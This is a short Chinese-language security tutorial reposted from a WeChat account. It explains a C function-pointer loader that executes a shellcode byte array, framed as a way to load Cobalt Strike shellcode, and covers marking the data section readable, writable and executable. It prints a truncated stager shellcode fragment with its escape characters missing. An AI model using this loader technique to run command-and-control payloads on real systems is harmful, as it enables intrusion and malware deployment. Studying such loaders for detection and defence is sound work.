函数指针加载
代码部分
unsigned
char
shellcode[] =
""
;
void
main
()
{
((
void
(*)(
void
)) & shellcode)();
}
解析如下
1、将data段的内存属性定义为:RWE 使其具有可读可写可执行的权限
在Windows操作系统中,内存段的属性可以通过标志位来设置。其中,可读(R)、可写(W)和可执行(E)是常见的标志位。
在源代码中,你不能直接将E改成X或者将X改成E。这是因为E和X是在链接器(linker)或编译器(compiler)等工具中使用的标志位,用于设置内存段的属性。
2、代码解析
在C++中,((void(*)(void)) & shellcode)();
这段代码是一种函数指针的用法。它将 shellcode
的地址强制转换为一个指向无返回值、无参数的函数指针,然后通过调用该函数指针来执行相应的函数。
注意事项
1、注意开发环境:均可
2、shellcode格式:
unsigned
char
shellcode[] =
"xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8bx52x30x8b"
"x52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0"
;
原文始发于微信公众号(零攻防):CobaltStrike加载Shellcode姿势解析(二)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论